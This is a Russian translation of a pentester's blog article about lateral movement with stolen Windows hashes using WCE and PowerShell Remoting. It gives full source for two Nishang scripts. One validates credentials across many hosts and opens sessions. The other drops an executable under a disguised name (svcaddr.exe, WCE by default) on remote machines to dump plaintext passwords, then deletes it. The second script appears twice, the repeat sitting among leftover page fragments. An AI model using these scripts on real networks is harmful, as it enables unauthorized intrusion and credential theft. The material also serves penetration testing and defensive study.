10.07.2013

Манипуляции с хэшами при помощи PowerShell

image

Что обычно делают пентестеры после получения хэшей (или данных об учетных записях)? Я задавал этот вопрос в процессе своего семинара на BlackHat Europe, и ответ на него таков: использовать утилиты наподобие psexec (независимо или совместно с metasploit) для повторного использования хэшей и получения доступа к большему числу машин. Это занятие можно сделать более забавным и успешным, если использовать Windows Credential Editor (WCE) в комбинации с Powershell.

Автор: Нихил «SamratAshok» Миттал (Nikhil "SamratAshok" Mittal)

Что обычно делают пентестеры после получения хэшей (или данных об учетных записях)? Я задавал этот вопрос в процессе своего семинара на BlackHat Europe, и ответ на него таков: использовать утилиты наподобие psexec (независимо или совместно с metasploit) для повторного использования хэшей и получения доступа к большему числу машин. Это занятие можно сделать более забавным и успешным, если использовать Windows Credential Editor (WCE) в комбинации с Powershell.

Обновлено: подобный сценарий пригоден в случае, если у вас есть сетевой доступ к другим компьютерам как при внутреннем пентесте.

Предположим, у нас имеется список хэшей и мы, используя эти данные и WCE с опциями –s и –c, можем открыть сессию powershell.

У этой сессии будут привилегии того пользователя, хэш которого использовался в WCE. Обратите внимание, мы не делаем ничего такого, что могло бы вызвать подозрение у антивирусов, поскольку используем только WCE и другие функции Windows.
Пока я писал эту статью, некто спросил меня в твиттере, возможно ли перед использованием проверить на корректность хэши на множестве систем как в Keimpx. Мое решение не позволяло этого сделать, и я создал скрипт Create-MultipleSessions.ps1, проверяющий учетные данные на множестве компьютеров посредством WMI-запроса (который получает IP-адреса в случае успешной аутентификации).
Вот исходник скрипта:

<#

.SYNOPSIS

Скрипт на фреймворке Nishang, проверяющий учетные записи и открывающий PSSessions-сессии в случае корректности данных.

.DESCRIPTION

Полезная нагрузка использует WMI (Windows Management Instrumentation) для проверки учетных записей на указанном списке компьютеров. Используйте параметр –Creds для указания конкретного логина и пароля. Если скрипт запущен внутри сессии powershell с правами локального или глобального администратора (или внутри сессии запущенной с хэшами подобных аккаунтов посредством WCE) запускайте скрипт без параметра –Creds. Используйте параметр –CreateSessions для создания PSSession-сессий.

.PARAMETER filename

Путь к файлу со списком серверов.

.PARAMETER Creds

Используйте этот параметр для указания конкретного имени пользователя (в формате домен\имя пользователя) и пароль.

.PARAMETER CreateSessions

Используйте этот параметр для создания PSSession-сессий с машинами, которым принадлежат учетные записи.

.PARAMETER VerboseErrors

Используйте этот параметр для получения подробных сообщений об ошибках.

.EXAMPLE

PS > .\Create-MultipleSessions -filename .\servers.txt

Команда выше использует учетные записи, доступные с текущей сессией powershell, и проверяет корректность аккаунтов по списку машин, указанных в servers.txt

.EXAMPLE

PS > .\Create-MultipleSessions -filename .\servers.txt -Creds

Команда выше спрашивает имя пользователя и пароль для проверки по списку машин.

.EXAMPLE

PS > .\Create-MultipleSessions -filename .\servers.txt -CreateSessions

Команда выше использует учетные записи, доступные с текущей сессией powershell, проверяет корректность аккаунтов по списку машин, указанных в servers.txt, и создает PSSession к этим машинам

.LINK


#>
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $filename,
[Switch] $Creds,
[Switch] $CreateSessions,
[Switch] $VerboseErrors)

function Create-MultipleSessions
{
$ErrorActionPreference = "SilentlyContinue"
if ($VerboseErrors)
{
$ErrorActionPreference = "Continue"
}
$servers = Get-Content $filename

if ($Creds)
{
$Creds = Get-Credential
$CheckCommand = 'gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True" -ComputerName $server -Credential $Creds'
$SessionCommand = 'New-PSSession -ComputerName $server -Credential $Creds'
}

else
{
$CheckCommand = 'gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True" -ComputerName $server'
$SessionCommand = 'New-PSSession -ComputerName $server'
}

foreach ($server in $servers)
{
$check = Invoke-Expression $CheckCommand
if($check -ne $null)
{
Write-Host "Credentials worked on $server !!" -ForegroundColor Green
if ($CreateSessions -eq $True)
{
"`nCreating Session for $server"
Invoke-Expression $SessionCommand
}
}
else
{
"Could not connect or credentials didn't work on $server"
}
}
if ($CreateSessions -eq $True)
{
Write-Host "`nFollowing Sessions have been created: " -ForegroundColor Green
Get-PSSession
}
}

Create-MultipleSessions

Ниже представлен скриншот, на котором показан пример работы скрипта на моих лабораторных системах.


Прекрасно! Мы получили пару рабочих хэшей. Если вы хотите передать их в скрипт, используйте параметр –Creds, и вам откроется диалоговое окно с предложением ввести данные об учетных записях.

Теперь, если на целевой машине разрешен Powershell Remoting, что, как правило, так и есть в современных Windows-средах (доступно по умолчанию для Server 2012), вы можете использовать эту возможность в своих целях. Так как наша и целевая машина не являются частью одного домена, мы должны добавить целевую машину в наш список TrustedHosts. Этот файл создан с целью предотвращения передачи учетных записей на мошеннический сервер. Просто давайте доверять всем и каждому :).


В окне powershell, открытом из wce, мы может использовать командлет Enter-PSSession для соединения с целевой машиной. По умолчанию только пользователи из локальной административной группы (Local Administrator Group) могут использовать Powershell Remoting.


Бинго! Теперь мы подняли интерактивную сессию с удаленной машиной, хотя хэши были использованы от имени локального администратора. Теперь мы можем порезвиться, используя Nishang.

Ок. Интерактивный шелл на одном компьютере это, конечно, хорошо, но что если мы захотим создать сессии с несколькими машинами? Для этого вы можете использовать параметр –CreateSessions.


Мы можем использовать командлет Enter-PSSession для соединения с нужной сессией. Теперь мы хотим выполнить команду или скрипт на сотнях компьютеров. Для решения этой задачи в Powershell есть командлет Invoke-Command. Для выполнения какой-нибудь команды на множестве компьютеров используем сессию powershell, начатую в WCE.


Обратите внимание, что у нас есть успешно исполненный $env:COMPUTERNAME на двух компьютерах.

Invoke-Command также поддерживает параметр –Credentials.

У Invoke-Command есть еще один полезный параметр –FilePath. Используя его, вы можете запускать локальный скрипт на удаленных компьютерах (множество полезных нагрузок, доступных в Nishang, для реализации своих благих намерений ;).

Я создал еще одни скрипт Run-EXEonRemote, который загружает исполняемые файлы на удаленные машины и запускает их. К примеру, при помощи Run-EXEonRemote перенесем и запустим WCE на множестве машин для выгрузки паролей в виде обычного текста.


Вот исходник скрипта:

<#

.SYNOPSIS

Скрипт на фреймворке Nishang, который загружает и запускает исполняемые файлы на множестве удаленных компьютеров.

.DESCRIPTION

Скрипт следует использовать с параметром -FilePath команды Invoke-Command для загрузки и запуска исполняемых файлов на множестве удаленных компьютеров. Исполняемые файлы должны быть сконвертированы в текстовый формат (для этого используйте скрипт ExetoText, входящий в состав Nishang). По умолчанию WCE жестко прописан внутри скрипта. Требуется наличие доступа к удаленным машинам.

.PARAMETER VerboseErrors

Используйте этот параметр для получения подробных сообщений об ошибках.

.EXAMPLE

PS > Invoke-Command -FilePath .\Run-EXEonRemote.ps1 -ComputerName (Get-Content .\servers.txt)

Команда выше использует учетные записи, доступные с текущей сессией powershell, и запускает скрипт на множестве машин.

.LINK

#>

Param ([Switch] $VerboseErrors)

function Run-EXEonRemote
{
$ErrorActionPreference = "SilentlyContinue"
if ($VerboseErrors)
{
$ErrorActionPreference = "Continue"
}
#Provide 32 bit executable in text format below, use ExeToText from Nishang.
[string] $hexdump = ""
#Provide 64 bit executable in text format below, use ExeToText from Nishang.
[string] $hexdump64 = ""
$EXE = "$env:TEMP\svcaddr.exe"
if ([IntPtr]::Size -eq 8)
{
$hexdump = $hexdump64
}
[Byte[]] $temp = $hexdump -split ' '
[System.IO.File]::WriteAllBytes("$EXE", $temp)
$cmd = "$EXE -w"
Invoke-Expression $cmd
start-sleep -Seconds 5
Remove-Item $EXE
}

Run-EXEonRemote

Хотите запускать исполняемые файлы в памяти, используя PowerShell? Некоторые умные люди работают над этим.

Заметьте, что Execution Policy не является проблемой, если вы используете -Filepath с Invoke-Command до тех пор, пока в скрипте не используется конструкции наподобие Import-Module. Я не нашел способа обхода Execution Policy в этом случае. Однако все равно Execution Policy не является частью политики безопасности, а остается на усмотрение пользователя.

Invoke-Command также можно использовать для запуска скриптов как заданий (jobs) или используя параметр Session, так чтобы команды были структурированы. За более подробной информацией обращайтесь к документации Invoke-Command (команда help Invoke-Command). Система помощи PowerShell очень хороша и полезна.

Как мы видели, в случае доступности хэшей или данных об учетных записях лучше использовать PowerShell Remoting. Небольшой совет: используйте PowerShell v2. С PowerShell v3 иногда у меня возникали проблемы при соединении с машинами с v2. Не помог даже параметр –Version. Я не изучал подробно эту проблему, но думаю, что это может быть из-за изменений удаленного протокола.

Create-MultipleSessions и Run-EXEonRemote добавлены в Nishang. Пожалуйста, обновите репозиторий.
Надеюсь, эта статья оказалась полезной для вас. Все замечания и пожелания оставляйте в комментариях.

.LINK


#>

Param ([Switch] $VerboseErrors)

function Run-EXEonRemote
{
$ErrorActionPreference = "SilentlyContinue"
if ($VerboseErrors)
{
$ErrorActionPreference = "Continue"
}
#Provide 32 bit executable in text format below, use ExeToText from Nishang.
[string] $hexdump = ""
#Provide 64 bit executable in text format below, use ExeToText from Nishang.
[string] $hexdump64 = ""
$EXE = "$env:TEMP\svcaddr.exe"
if ([IntPtr]::Size -eq 8)
{
$hexdump = $hexdump64
}
[Byte[]] $temp = $hexdump -split ' '
[System.IO.File]::WriteAllBytes("$EXE", $temp)
$cmd = "$EXE -w"
Invoke-Expression $cmd
start-sleep -Seconds 5
Remove-Item $EXE
}

Run-EXEonRemote
или введите имя

CAPTCHA